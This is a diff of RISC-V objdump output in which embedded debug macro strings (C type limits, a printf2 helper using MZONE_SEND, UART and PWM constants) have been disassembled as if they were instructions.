+    1b24:	4944                	lw	s1,20(a0)
+    1b26:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    1b2a:	3432                	fld	fs0,296(sp)
+    1b2c:	5f00                	lw	s0,56(a4)
+    1b2e:	555f 4e49 5f54      	0x5f544e49555f
+    1b34:	4146                	lw	sp,80(sp)
+    1b36:	5f385453          	0x5f385453
+    1b3a:	5954                	lw	a3,52(a0)
+    1b3c:	4550                	lw	a2,12(a0)
+    1b3e:	5f5f 7520 736e      	0x736e75205f5f
+    1b44:	6769                	lui	a4,0x1a
+    1b46:	656e                	flw	fa0,216(sp)
+    1b48:	2064                	fld	fs1,192(s0)
+    1b4a:	6e69                	lui	t3,0x1a
+    1b4c:	0074                	addi	a3,sp,12
+    1b4e:	53495f53          	0x53495f53
+    1b52:	4552                	lw	a0,20(sp)
+    1b54:	296d2847          	fmsub.s	fa6,fs10,fs6,ft5,rdn
+    1b58:	2820                	fld	fs0,80(s0)
+    1b5a:	2828                	fld	fa0,80(s0)
+    1b5c:	296d                	jal	2016 <__stack_size+0x1816>
+    1b5e:	5f26                	lw	t5,104(sp)
+    1b60:	4649                	li	a2,18
+    1b62:	544d                	li	s0,-13
+    1b64:	2029                	jal	1b6e <__stack_size+0x136e>
+    1b66:	3d3d                	jal	19a4 <__stack_size+0x11a4>
+    1b68:	5f20                	lw	s0,120(a4)
+    1b6a:	4649                	li	a2,18
+    1b6c:	4552                	lw	a0,20(sp)
+    1b6e:	46002947          	fmsub.q	fs2,ft0,ft0,fs0,rdn
+    1b72:	4f4c4853          	0x4f4c4853
+    1b76:	5f204b43          	fmadd.q	fs6,ft0,fs2,fa1,rmm
+    1b7a:	5346                	lw	t1,112(sp)
+    1b7c:	4c48                	lw	a0,28(s0)
+    1b7e:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
+    1b82:	495f 5f44 5f54      	0x5f545f44495f
+    1b88:	4544                	lw	s1,12(a0)
+    1b8a:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1b8e:	4445                	li	s0,17
+    1b90:	0020                	addi	s0,sp,8
+    1b92:	5f5f 4c46 3154      	0x31544c465f5f
+    1b98:	3832                	fld	fa6,296(sp)
+    1b9a:	4d5f 5841 315f      	0x315f58414d5f
+    1ba0:	5f30                	lw	a2,120(a4)
+    1ba2:	5845                	li	a6,-15
+    1ba4:	5f50                	lw	a2,60(a4)
+    1ba6:	205f 3934 3233      	0x32333934205f
+    1bac:	4300                	lw	s0,0(a4)
+    1bae:	4d5f5253          	0x4d5f5253
+    1bb2:	5241                	li	tp,-16
+    1bb4:	44494843          	0x44494843
+    1bb8:	3120                	fld	fs0,96(a0)
+    1bba:	0030                	addi	a2,sp,8
+    1bbc:	5f5f 5845 2850      	0x285058455f5f
+    1bc2:	2978                	fld	fa4,208(a0)
+    1bc4:	5f20                	lw	s0,120(a4)
+    1bc6:	205f 2323 2078      	0x20782323205f
+    1bcc:	5f5f2323          	sw	s5,1510(t5) # 4c4955e6 <_data_lma+0x2c0910c6>
+    1bd0:	4f00                	lw	s0,24(a4)
+    1bd2:	4e5f 4e4f 4c42      	0x4c424e4f4e5f
+    1bd8:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    1bdc:	465f 4f4e 424e      	0x424e4f4e465f
+    1be2:	4f4c                	lw	a1,28(a4)
+    1be4:	55004b43          	0x55004b43
+    1be8:	4e49                	li	t3,18
+    1bea:	5f54                	lw	a3,60(a4)
+    1bec:	454c                	lw	a1,12(a0)
+    1bee:	5341                	li	t1,-16
+    1bf0:	3354                	fld	fa3,160(a4)
+    1bf2:	5f32                	lw	t5,44(sp)
+    1bf4:	414d                	li	sp,19
+    1bf6:	0058                	addi	a4,sp,4
+    1bf8:	4e49                	li	t3,18
+    1bfa:	5f54                	lw	a3,60(a4)
+    1bfc:	4146                	lw	sp,80(sp)
+    1bfe:	36315453          	0x36315453
+    1c02:	4d5f 4e49 4900      	0x49004e494d5f
+    1c08:	544e                	lw	s0,240(sp)
+    1c0a:	465f 5341 3854      	0x38545341465f
+    1c10:	4d5f 5841 5f20      	0x5f2058414d5f
+    1c16:	495f 544e 465f      	0x465f544e495f
+    1c1c:	5341                	li	t1,-16
+    1c1e:	3854                	fld	fa3,176(s0)
+    1c20:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    1c26:	5f00                	lw	s0,56(a4)
+    1c28:	4d5f4353          	0x4d5f4353
+    1c2c:	5041                	c.li	zero,-16
+    1c2e:	4550                	lw	a2,12(a0)
+    1c30:	5f44                	lw	s1,60(a4)
+    1c32:	4946                	lw	s2,80(sp)
+    1c34:	454c                	lw	a1,12(a0)
+    1c36:	33322053          	0x33322053
+    1c3a:	5f00                	lw	s0,56(a4)
+    1c3c:	6c5f 6e6f 5f67      	0x5f676e6f6c5f
+    1c42:	6f64                	flw	fs1,92(a4)
+    1c44:	6275                	lui	tp,0x1d
+    1c46:	656c                	flw	fa1,76(a0)
+    1c48:	745f 6c20 6e6f      	0x6e6f6c20745f
+    1c4e:	6f642067          	0x6f642067
+    1c52:	6275                	lui	tp,0x1d
+    1c54:	656c                	flw	fa1,76(a0)
+    1c56:	4c00                	lw	s0,24(s0)
+    1c58:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    1c5c:	30204853          	0x30204853
+    1c60:	3078                	fld	fa4,224(s0)
+    1c62:	0031                	c.nop	12
+    1c64:	5f5f 6572 7571      	0x757165725f5f
+    1c6a:	7269                	lui	tp,0xffffa
+    1c6c:	7365                	lui	t1,0xffff9
+    1c6e:	655f 6378 756c      	0x756c6378655f
+    1c74:	65766973          	csrrsi	s2,0x657,12
+    1c78:	2e28                	fld	fa0,88(a2)
+    1c7a:	2e2e                	fld	ft8,200(sp)
+    1c7c:	2029                	jal	1c86 <__stack_size+0x1486>
+    1c7e:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1c84:	615f 6e6e 746f      	0x746f6e6e615f
+    1c8a:	7461                	lui	s0,0xffff8
+    1c8c:	2865                	jal	1d44 <__stack_size+0x1544>
+    1c8e:	7865                	lui	a6,0xffff9
+    1c90:	73756c63          	bltu	a0,s7,23c8 <__stack_size+0x1bc8>
+    1c94:	7669                	lui	a2,0xffffa
+    1c96:	5f65                	li	t5,-7
+    1c98:	6f6c                	flw	fa1,92(a4)
+    1c9a:	5f736b63          	bltu	t1,s7,2290 <__stack_size+0x1a90>
+    1c9e:	6572                	flw	fa0,28(sp)
+    1ca0:	7571                	lui	a0,0xffffc
+    1ca2:	7269                	lui	tp,0xffffa
+    1ca4:	6465                	lui	s0,0x19
+    1ca6:	5f28                	lw	a0,120(a4)
+    1ca8:	565f 5f41 5241      	0x52415f41565f
+    1cae:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    1cb2:	2929                	jal	20cc <__stack_size+0x18cc>
+    1cb4:	7000                	flw	fs0,32(s0)
+    1cb6:	6972                	flw	fs2,28(sp)
+    1cb8:	746e                	flw	fs0,248(sp)
+    1cba:	3266                	fld	ft4,120(sp)
+    1cbc:	6628                	flw	fa0,72(a2)
+    1cbe:	616d726f          	jal	tp,d92d4 <__stack_size+0xd8ad4>
+    1cc2:	2c74                	fld	fa3,216(s0)
+    1cc4:	7261                	lui	tp,0xffff8
+    1cc6:	2e2e7367          	0x2e2e7367
+    1cca:	292e                	fld	fs2,200(sp)
+    1ccc:	7b20                	flw	fs0,112(a4)
+    1cce:	6320                	flw	fs0,64(a4)
+    1cd0:	6168                	flw	fa0,68(a0)
+    1cd2:	2072                	fld	ft0,280(sp)
+    1cd4:	732a                	flw	ft6,168(sp)
+    1cd6:	7274                	flw	fa3,100(a2)
+    1cd8:	3d20                	fld	fs0,120(a0)
+    1cda:	6d20                	flw	fs0,88(a0)
+    1cdc:	6c61                	lui	s8,0x18
+    1cde:	6f6c                	flw	fa1,92(a4)
+    1ce0:	32312863          	0x32312863
+    1ce4:	2938                	fld	fa4,80(a0)
+    1ce6:	656d203b          	0x656d203b
+    1cea:	736d                	lui	t1,0xffffb
+    1cec:	7465                	lui	s0,0xffff9
+    1cee:	7328                	flw	fa0,96(a4)
+    1cf0:	7274                	flw	fa3,100(a2)
+    1cf2:	202c                	fld	fa1,64(s0)
+    1cf4:	2c30                	fld	fa2,88(s0)
+    1cf6:	3120                	fld	fs0,96(a0)
+    1cf8:	3832                	fld	fa6,296(sp)
+    1cfa:	3b29                	jal	1a14 <__stack_size+0x1214>
+    1cfc:	6920                	flw	fs0,80(a0)
+    1cfe:	2066                	fld	ft0,88(sp)
+    1d00:	7328                	flw	fa0,96(a4)
+    1d02:	7274                	flw	fa3,100(a2)
+    1d04:	2120                	fld	fs0,64(a0)
+    1d06:	203d                	jal	1d34 <__stack_size+0x1534>
+    1d08:	554e                	lw	a0,240(sp)
+    1d0a:	4c4c                	lw	a1,28(s0)
+    1d0c:	7b29                	lui	s6,0xfffea
+    1d0e:	6320                	flw	fs0,64(a4)
+    1d10:	74736e6f          	jal	t3,38c56 <__stack_size+0x38456>
+    1d14:	6920                	flw	fs0,80(a0)
+    1d16:	746e                	flw	fs0,248(sp)
+    1d18:	6c20                	flw	fs0,88(s0)
+    1d1a:	6e65                	lui	t3,0x19
+    1d1c:	3d20                	fld	fs0,120(a0)
+    1d1e:	7320                	flw	fs0,96(a4)
+    1d20:	706e                	flw	ft0,248(sp)
+    1d22:	6972                	flw	fs2,28(sp)
+    1d24:	746e                	flw	fs0,248(sp)
+    1d26:	2866                	fld	fa6,88(sp)
+    1d28:	2c727473          	csrrci	s0,0x2c7,4
+    1d2c:	3120                	fld	fs0,96(a0)
+    1d2e:	3832                	fld	fa6,296(sp)
+    1d30:	202c                	fld	fa1,64(s0)
+    1d32:	6f66                	flw	ft10,88(sp)
+    1d34:	6d72                	flw	fs10,28(sp)
+    1d36:	7461                	lui	s0,0xffff8
+    1d38:	202c                	fld	fa1,64(s0)
+    1d3a:	61202323          	sw	s2,1542(zero) # 606 <__stack_size-0x1fa>
+    1d3e:	6772                	flw	fa4,28(sp)
+    1d40:	203b2973          	csrrs	s2,hideleg,s6
+    1d44:	6f66                	flw	ft10,88(sp)
+    1d46:	2072                	fld	ft0,280(sp)
+    1d48:	6928                	flw	fa0,80(a0)
+    1d4a:	746e                	flw	fs0,248(sp)
+    1d4c:	6920                	flw	fs0,80(a0)
+    1d4e:	303d                	jal	157c <__stack_size+0xd7c>
+    1d50:	3c69203b          	0x3c69203b
+    1d54:	6c28                	flw	fa0,88(s0)
+    1d56:	6e65                	lui	t3,0x19
+    1d58:	2936312f          	0x2936312f
+    1d5c:	203b312b          	0x203b312b
+    1d60:	2b69                	jal	22fa <__stack_size+0x1afa>
+    1d62:	207b292b          	0x207b292b
+    1d66:	6c696877          	0x6c696877
+    1d6a:	2865                	jal	1e22 <__stack_size+0x1622>
+    1d6c:	4d21                	li	s10,8
+    1d6e:	4f5a                	lw	t5,148(sp)
+    1d70:	454e                	lw	a0,208(sp)
+    1d72:	535f 4e45 2844      	0x28444e45535f
+    1d78:	2c32                	fld	fs8,264(sp)
+    1d7a:	2820                	fld	fs0,80(s0)
+    1d7c:	2b727473          	csrrci	s0,0x2b7,4
+    1d80:	3631                	jal	188c <__stack_size+0x108c>
+    1d82:	692a                	flw	fs2,136(sp)
     1d84:	2929                	jal	219e <__stack_size+0x199e>
-    1d86:	5f00                	lw	s0,56(a4)
-    1d88:	445f 5145 4155      	0x41555145445f
-    1d8e:	494c                	lw	a1,20(a0)
-    1d90:	5946                	lw	s2,112(sp)
-    1d92:	7428                	flw	fa0,104(s0)
-    1d94:	7079                	c.lui	zero,0xffffe
-    1d96:	2c65                	jal	204e <__stack_size+0x184e>
-    1d98:	6176                	flw	ft2,92(sp)
-    1d9a:	2972                	fld	fs2,280(sp)
-    1d9c:	2820                	fld	fs0,80(s0)
-    1d9e:	7428                	flw	fa0,104(s0)
-    1da0:	7079                	c.lui	zero,0xffffe
-    1da2:	2965                	jal	225a <__stack_size+0x1a5a>
-    1da4:	5f28                	lw	a0,120(a4)
-    1da6:	755f 6e69 7074      	0x70746e69755f
-    1dac:	7274                	flw	fa3,100(a2)
-    1dae:	745f 2829 6f63      	0x6f632829745f
-    1db4:	736e                	flw	ft6,248(sp)
-    1db6:	2074                	fld	fa3,192(s0)
-    1db8:	6f76                	flw	ft10,92(sp)
-    1dba:	616c                	flw	fa1,68(a0)
-    1dbc:	6974                	flw	fa3,84(a0)
-    1dbe:	656c                	flw	fa1,76(a0)
-    1dc0:	7620                	flw	fs0,104(a2)
-    1dc2:	2064696f          	jal	s2,47fc8 <__stack_size+0x477c8>
-    1dc6:	292a                	fld	fs2,136(sp)
-    1dc8:	7628                	flw	fa0,104(a2)
-    1dca:	7261                	lui	tp,0xffff8
-    1dcc:	2929                	jal	21e6 <__stack_size+0x19e6>
-    1dce:	5f00                	lw	s0,56(a4)
-    1dd0:	685f 7361 665f      	0x665f7361685f
-    1dd6:	6165                	addi	sp,sp,112
-    1dd8:	7574                	flw	fa3,108(a0)
-    1dda:	6572                	flw	fa0,28(sp)
-    1ddc:	7828                	flw	fa0,112(s0)
-    1dde:	2029                	jal	1de8 <__stack_size+0x15e8>
-    1de0:	0030                	addi	a2,sp,8
-    1de2:	535f 5f43 4954      	0x49545f43535f
-    1de8:	454d                	li	a0,19
-    1dea:	5f52                	lw	t5,52(sp)
-    1dec:	414d                	li	sp,19
-    1dee:	2058                	fld	fa4,128(s0)
-    1df0:	3931                	jal	1a0c <__stack_size+0x120c>
-    1df2:	5f00                	lw	s0,56(a4)
-    1df4:	4552                	lw	a0,20(sp)
-    1df6:	4e45                	li	t3,17
-    1df8:	5f54                	lw	a3,60(a4)
-    1dfa:	4d45                	li	s10,17
-    1dfc:	5245                	li	tp,-15
-    1dfe:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
-    1e02:	5f59                	li	t5,-10
-    1e04:	455a4953          	0x455a4953
-    1e08:	3220                	fld	fs0,96(a2)
-    1e0a:	0035                	c.nop	13
-    1e0c:	5f5f 4347 5f43      	0x5f4343475f5f
-    1e12:	4549                	li	a0,18
-    1e14:	35355f43          	0x35355f43
-    1e18:	5f39                	li	t5,-18
-    1e1a:	504d4f43          	fmadd.s	ft10,fs10,ft4,fa0,rmm
-    1e1e:	454c                	lw	a1,12(a0)
-    1e20:	2058                	fld	fa4,128(s0)
-    1e22:	0030                	addi	a2,sp,8
-    1e24:	4955                	li	s2,21
-    1e26:	544e                	lw	s0,240(sp)
-    1e28:	3436                	fld	fs0,360(sp)
-    1e2a:	435f 5f00 4552      	0x45525f00435f
-    1e30:	4e45                	li	t3,17
-    1e32:	5f54                	lw	a3,60(a4)
-    1e34:	504d                	c.li	zero,-13
-    1e36:	525f 5345 4c55      	0x4c555345525f
-    1e3c:	5f54                	lw	a3,60(a4)
-    1e3e:	7470284b          	0x7470284b
-    1e42:	2972                	fld	fs2,280(sp)
-    1e44:	2820                	fld	fs0,80(s0)
-    1e46:	7028                	flw	fa0,96(s0)
-    1e48:	7274                	flw	fa3,100(a2)
-    1e4a:	2d29                	jal	2464 <__stack_size+0x1c64>
-    1e4c:	5f3e                	lw	t5,236(sp)
-    1e4e:	6572                	flw	fa0,28(sp)
-    1e50:	746c7573          	csrrci	a0,0x746,24
-    1e54:	6b5f 0029 465f      	0x465f00296b5f
-    1e5a:	4b4c4253          	0x4b4c4253
-    1e5e:	5f544e43          	fmadd.q	ft8,fs0,fs5,fa1,rmm
-    1e62:	5f54                	lw	a3,60(a4)
-    1e64:	4544                	lw	s1,12(a0)
-    1e66:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    1e6a:	4445                	li	s0,17
-    1e6c:	0020                	addi	s0,sp,8
-    1e6e:	465f 5953 434e      	0x434e5953465f
-    1e74:	3020                	fld	fs0,96(s0)
-    1e76:	3278                	fld	fa4,224(a2)
-    1e78:	3030                	fld	fa2,96(s0)
-    1e7a:	0030                	addi	a2,sp,8
-    1e7c:	5f5f 5355 5245      	0x524553555f5f
-    1e82:	4c5f 4241 4c45      	0x4c4542414c5f
-    1e88:	505f 4552 4946      	0x49464552505f
-    1e8e:	5f58                	lw	a4,60(a4)
-    1e90:	205f 5500 4c4c      	0x4c4c5500205f
-    1e96:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    1e9a:	414d                	li	sp,19
-    1e9c:	0058                	addi	a4,sp,4
-    1e9e:	5f5f 7461 7274      	0x727474615f5f
-    1ea4:	6269                	lui	tp,0x1a
-    1ea6:	7475                	lui	s0,0xffffd
-    1ea8:	5f65                	li	t5,-7
-    1eaa:	616d                	addi	sp,sp,240
-    1eac:	6c6c                	flw	fa1,92(s0)
-    1eae:	5f5f636f          	jal	t1,f8ca2 <__stack_size+0xf84a2>
-    1eb2:	0020                	addi	s0,sp,8
-    1eb4:	535f 5a49 5f45      	0x5f455a49535f
-    1eba:	5f54                	lw	a3,60(a4)
-    1ebc:	4544                	lw	s1,12(a0)
-    1ebe:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    1ec2:	4445                	li	s0,17
-    1ec4:	0020                	addi	s0,sp,8
-    1ec6:	475f 4343 575f      	0x575f4343475f
-    1ecc:	4152                	lw	sp,20(sp)
-    1ece:	5f50                	lw	a2,60(a4)
-    1ed0:	49445453          	0x49445453
-    1ed4:	544e                	lw	s0,240(sp)
-    1ed6:	485f 0020 525f      	0x525f0020485f
-    1edc:	4545                	li	a0,17
-    1ede:	544e                	lw	s0,240(sp)
-    1ee0:	545f 284d 7470      	0x7470284d545f
-    1ee6:	2972                	fld	fs2,280(sp)
-    1ee8:	2820                	fld	fs0,80(s0)
-    1eea:	2826                	fld	fa6,72(sp)
-    1eec:	7470                	flw	fa2,108(s0)
-    1eee:	2972                	fld	fs2,280(sp)
-    1ef0:	3e2d                	jal	1a2a <__stack_size+0x122a>
-    1ef2:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    1ef8:	6572                	flw	fa0,28(sp)
-    1efa:	6e65                	lui	t3,0x19
-    1efc:	2e74                	fld	fa3,216(a2)
-    1efe:	6c5f 636f 6c61      	0x6c61636f6c5f
-    1f04:	6974                	flw	fa3,84(a0)
-    1f06:	656d                	lui	a0,0x1b
-    1f08:	625f 6675 0029      	0x296675625f
-    1f0e:	4e49                	li	t3,18
-    1f10:	3654                	fld	fa3,168(a2)
-    1f12:	5f34                	lw	a3,120(a4)
-    1f14:	414d                	li	sp,19
-    1f16:	2058                	fld	fa4,128(s0)
-    1f18:	5f5f 4e49 3654      	0x36544e495f5f
-    1f1e:	5f34                	lw	a3,120(a4)
-    1f20:	414d                	li	sp,19
-    1f22:	5f58                	lw	a4,60(a4)
-    1f24:	005f 425f 4745      	0x4745425f005f
-    1f2a:	4e49                	li	t3,18
-    1f2c:	535f 4454 435f      	0x435f4454535f
-    1f32:	0020                	addi	s0,sp,8
-    1f34:	5f50                	lw	a2,60(a4)
-    1f36:	6d74                	flw	fa3,92(a0)
-    1f38:	6470                	flw	fa2,76(s0)
-    1f3a:	7269                	lui	tp,0xffffa
-    1f3c:	2220                	fld	fs0,64(a2)
-    1f3e:	706d742f          	0x706d742f
-    1f42:	0022                	c.slli	zero,0x8
-    1f44:	4955                	li	s2,21
-    1f46:	544e                	lw	s0,240(sp)
-    1f48:	4c5f 4145 5453      	0x545341454c5f
-    1f4e:	3436                	fld	fs0,360(sp)
-    1f50:	4d5f 5841 5f00      	0x5f0058414d5f
-    1f56:	585f4353          	0x585f4353
-    1f5a:	5342                	lw	t1,48(sp)
-    1f5c:	5f35                	li	t5,-19
-    1f5e:	4c49                	li	s8,18
-    1f60:	3350                	fld	fa2,160(a4)
-    1f62:	5f32                	lw	t5,44(sp)
-    1f64:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
-    1f68:	4749                	li	a4,18
-    1f6a:	5f20                	lw	s0,120(a4)
-    1f6c:	565f4353          	0x565f4353
-    1f70:	4c495f37          	lui	t5,0x4c495
-    1f74:	3350                	fld	fa2,160(a4)
-    1f76:	5f32                	lw	t5,44(sp)
-    1f78:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
-    1f7c:	4749                	li	a4,18
-    1f7e:	5f00                	lw	s0,56(a4)
-    1f80:	445f 4345 4e4f      	0x4e4f4345445f
-    1f86:	74285453          	0x74285453
-    1f8a:	7079                	c.lui	zero,0xffffe
-    1f8c:	2c65                	jal	2244 <__stack_size+0x1a44>
-    1f8e:	6176                	flw	ft2,92(sp)
-    1f90:	2972                	fld	fs2,280(sp)
-    1f92:	2820                	fld	fs0,80(s0)
-    1f94:	7428                	flw	fa0,104(s0)
-    1f96:	7079                	c.lui	zero,0xffffe
-    1f98:	2965                	jal	2450 <__stack_size+0x1c50>
-    1f9a:	5f28                	lw	a0,120(a4)
-    1f9c:	755f 6e69 7074      	0x70746e69755f
-    1fa2:	7274                	flw	fa3,100(a2)
-    1fa4:	745f 2829 6f63      	0x6f632829745f
-    1faa:	736e                	flw	ft6,248(sp)
-    1fac:	2074                	fld	fa3,192(s0)
-    1fae:	6f76                	flw	ft10,92(sp)
-    1fb0:	6469                	lui	s0,0x1a
-    1fb2:	2a20                	fld	fs0,80(a2)
-    1fb4:	2829                	jal	1fce <__stack_size+0x17ce>
-    1fb6:	6176                	flw	ft2,92(sp)
-    1fb8:	2972                	fld	fs2,280(sp)
-    1fba:	0029                	c.nop	10
-    1fbc:	53495f53          	0x53495f53
-    1fc0:	4e4c                	lw	a1,28(a2)
-    1fc2:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
-    1fc6:	2820                	fld	fs0,80(s0)
-    1fc8:	2828                	fld	fa0,80(s0)
-    1fca:	296d                	jal	2484 <__stack_size+0x1c84>
-    1fcc:	5f26                	lw	t5,104(sp)
-    1fce:	4649                	li	a2,18
-    1fd0:	544d                	li	s0,-13
-    1fd2:	2029                	jal	1fdc <__stack_size+0x17dc>
-    1fd4:	3d3d                	jal	1e12 <__stack_size+0x1612>
-    1fd6:	5f20                	lw	s0,120(a4)
-    1fd8:	4649                	li	a2,18
-    1fda:	4e4c                	lw	a1,28(a2)
-    1fdc:	6300294b          	fnmsub.d	fs2,ft0,fa6,fa2,rdn
-    1fe0:	656c                	flw	fa1,76(a0)
-    1fe2:	7261                	lui	tp,0xffff8
-    1fe4:	7265                	lui	tp,0xffff9
-    1fe6:	5f72                	lw	t5,60(sp)
-    1fe8:	6e75                	lui	t3,0x1d
-    1fea:	6f6c                	flw	fa1,92(a4)
-    1fec:	64656b63          	bltu	a0,t1,2642 <__stack_size+0x1e42>
-    1ff0:	7028                	flw	fa0,96(s0)
-    1ff2:	2029                	jal	1ffc <__stack_size+0x17fc>
-    1ff4:	5f5f 6373 656c      	0x656c63735f5f
-    1ffa:	7261                	lui	tp,0xffff8
-    1ffc:	7265                	lui	tp,0xffff9
-    1ffe:	2872                	fld	fa6,280(sp)
-    2000:	2970                	fld	fa2,208(a0)
-    2002:	5f00                	lw	s0,56(a4)
-    2004:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    200a:	6e61                	lui	t3,0x18
-    200c:	6f6e                	flw	ft10,216(sp)
-    200e:	6174                	flw	fa3,68(a0)
-    2010:	6574                	flw	fa3,76(a0)
-    2012:	7828                	flw	fa0,112(s0)
-    2014:	2029                	jal	201e <__stack_size+0x181e>
-    2016:	5f00                	lw	s0,56(a4)
-    2018:	495f 544e 465f      	0x465f544e495f
-    201e:	5341                	li	t1,-16
-    2020:	3854                	fld	fa3,176(s0)
-    2022:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    2028:	3020                	fld	fs0,96(s0)
-    202a:	3778                	fld	fa4,232(a4)
-    202c:	6666                	flw	fa2,88(sp)
-    202e:	6666                	flw	fa2,88(sp)
-    2030:	6666                	flw	fa2,88(sp)
-    2032:	0066                	c.slli	zero,0x19
-    2034:	4155                	li	sp,21
-    2036:	5452                	lw	s0,52(sp)
-    2038:	545f 4358 5254      	0x52544358545f
-    203e:	204c                	fld	fa1,128(s0)
-    2040:	7830                	flw	fa2,112(s0)
-    2042:	3830                	fld	fa2,112(s0)
-    2044:	5000                	lw	s0,32(s0)
-    2046:	435f4d57          	0x435f4d57
-    204a:	4746                	lw	a4,80(sp)
-    204c:	455f 414e 574c      	0x574c414e455f
-    2052:	5941                	li	s2,-16
-    2054:	78302053          	0x78302053
-    2058:	3030                	fld	fa2,96(s0)
-    205a:	3030                	fld	fa2,96(s0)
-    205c:	3031                	jal	1868 <__stack_size+0x1068>
-    205e:	3030                	fld	fa2,96(s0)
-    2060:	4c00                	lw	s0,24(s0)
-    2062:	635f 6574 6d72      	0x6d726574635f
-    2068:	6469                	lui	s0,0x1a
-    206a:	3120                	fld	fs0,96(a0)
-    206c:	0036                	c.slli	zero,0xd
-    206e:	535f 5f43 5f32      	0x5f325f43535f
-    2074:	45445f43          	0x45445f43
-    2078:	2056                	fld	ft0,336(sp)
-    207a:	3031                	jal	1886 <__stack_size+0x1086>
-    207c:	0039                	c.nop	14
-    207e:	494d                	li	s2,19
-    2080:	284e                	fld	fa6,208(sp)
-    2082:	2c61                	jal	231a <__stack_size+0x1b1a>
-    2084:	2962                	fld	fs2,24(sp)
-    2086:	2820                	fld	fs0,80(s0)
-    2088:	2828                	fld	fa0,80(s0)
-    208a:	2961                	jal	2522 <__stack_size+0x1d22>
-    208c:	283c                	fld	fa5,80(s0)
-    208e:	2962                	fld	fs2,24(sp)
-    2090:	3f29                	jal	1faa <__stack_size+0x17aa>
-    2092:	6128                	flw	fa0,64(a0)
-    2094:	3a29                	jal	19ae <__stack_size+0x11ae>
-    2096:	6228                	flw	fa0,64(a2)
-    2098:	2929                	jal	24b2 <__stack_size+0x1cb2>
-    209a:	6900                	flw	fs0,16(a0)
-    209c:	7172                	flw	ft2,60(sp)
-    209e:	695f 736e 7274      	0x7274736e695f
-    20a4:	6d5f 6e69 5f00      	0x5f006e696d5f
-    20aa:	4350                	lw	a2,4(a4)
-    20ac:	525f 4345 4d5f      	0x4d5f4345525f
-    20b2:	5841                	li	a6,-16
-    20b4:	585f 4546 5f52      	0x5f524546585f
-    20ba:	455a4953          	0x455a4953
-    20be:	3120                	fld	fs0,96(a0)
-    20c0:	5f5f0037          	lui	zero,0x5f5f0
-    20c4:	4c46                	lw	s8,80(sp)
-    20c6:	3354                	fld	fa3,160(a4)
-    20c8:	5f32                	lw	t5,44(sp)
-    20ca:	494d                	li	s2,19
-    20cc:	5f4e                	lw	t5,240(sp)
-    20ce:	5845                	li	a6,-15
-    20d0:	5f50                	lw	a2,60(a4)
-    20d2:	205f 2d28 3231      	0x32312d28205f
-    20d8:	2935                	jal	2514 <__stack_size+0x1d14>
-    20da:	5f00                	lw	s0,56(a4)
-    20dc:	545f4353          	0x545f4353
-    20e0:	5248                	lw	a0,36(a2)
-    20e2:	4145                	li	sp,17
-    20e4:	5f44                	lw	s1,60(a4)
-    20e6:	5441                	li	s0,-16
-    20e8:	5254                	lw	a3,36(a2)
-    20ea:	535f 4154 4b43      	0x4b434154535f
-    20f0:	4441                	li	s0,16
-    20f2:	5244                	lw	s1,36(a2)
-    20f4:	3420                	fld	fs0,104(s0)
-    20f6:	535f0033          	0x535f0033
-    20fa:	54525f43          	0x54525f43
-    20fe:	5f474953          	0x5f474953
-    2102:	414d                	li	sp,19
-    2104:	2058                	fld	fa4,128(s0)
-    2106:	3531                	jal	1f12 <__stack_size+0x1712>
-    2108:	5f00                	lw	s0,56(a4)
-    210a:	4c5f4353          	0x4c5f4353
-    210e:	5645                	li	a2,-15
-    2110:	4c45                	li	s8,17
-    2112:	5f31                	li	t5,-20
-    2114:	4349                	li	t1,18
-    2116:	4341                	li	t1,16
-    2118:	4548                	lw	a0,12(a0)
-    211a:	4c5f 4e49 5345      	0x53454e494c5f
-    2120:	5a49                	li	s4,-14
-    2122:	2045                	jal	21c2 <__stack_size+0x19c2>
-    2124:	3231                	jal	1a30 <__stack_size+0x1230>
-    2126:	5f5f0037          	lui	zero,0x5f5f0
-    212a:	4544                	lw	s1,12(a0)
-    212c:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    2130:	5f4c                	lw	a1,60(a4)
-    2132:	4944                	lw	s1,20(a0)
-    2134:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2138:	5f003633          	0x5f003633
-    213c:	445f 4c42 4d5f      	0x4d5f4c42445f
-    2142:	4e49                	li	t3,18
-    2144:	315f 5f30 5845      	0x58455f30315f
-    214a:	5f50                	lw	a2,60(a4)
-    214c:	205f 2d28 3033      	0x30332d28205f
-    2152:	5f002937          	lui	s2,0x5f002
-    2156:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    215a:	5450                	lw	a2,44(s0)
-    215c:	4452                	lw	s0,20(sp)
-    215e:	4649                	li	a2,18
-    2160:	5f46                	lw	t5,112(sp)
-    2162:	2054                	fld	fa3,128(s0)
-    2164:	5f00                	lw	s0,56(a4)
-    2166:	465f 544c 3233      	0x3233544c465f
-    216c:	5f58                	lw	a4,60(a4)
-    216e:	4544                	lw	s1,12(a0)
-    2170:	4f4e                	lw	t5,208(sp)
-    2172:	4d52                	lw	s10,20(sp)
-    2174:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    217a:	3420                	fld	fs0,104(s0)
-    217c:	392e                	fld	fs2,232(sp)
-    217e:	3034                	fld	fa3,96(s0)
-    2180:	3536                	fld	fa0,360(sp)
-    2182:	3436                	fld	fs0,360(sp)
-    2184:	3835                	jal	19c0 <__stack_size+0x11c0>
-    2186:	3134                	fld	fa3,96(a0)
-    2188:	3432                	fld	fs0,296(sp)
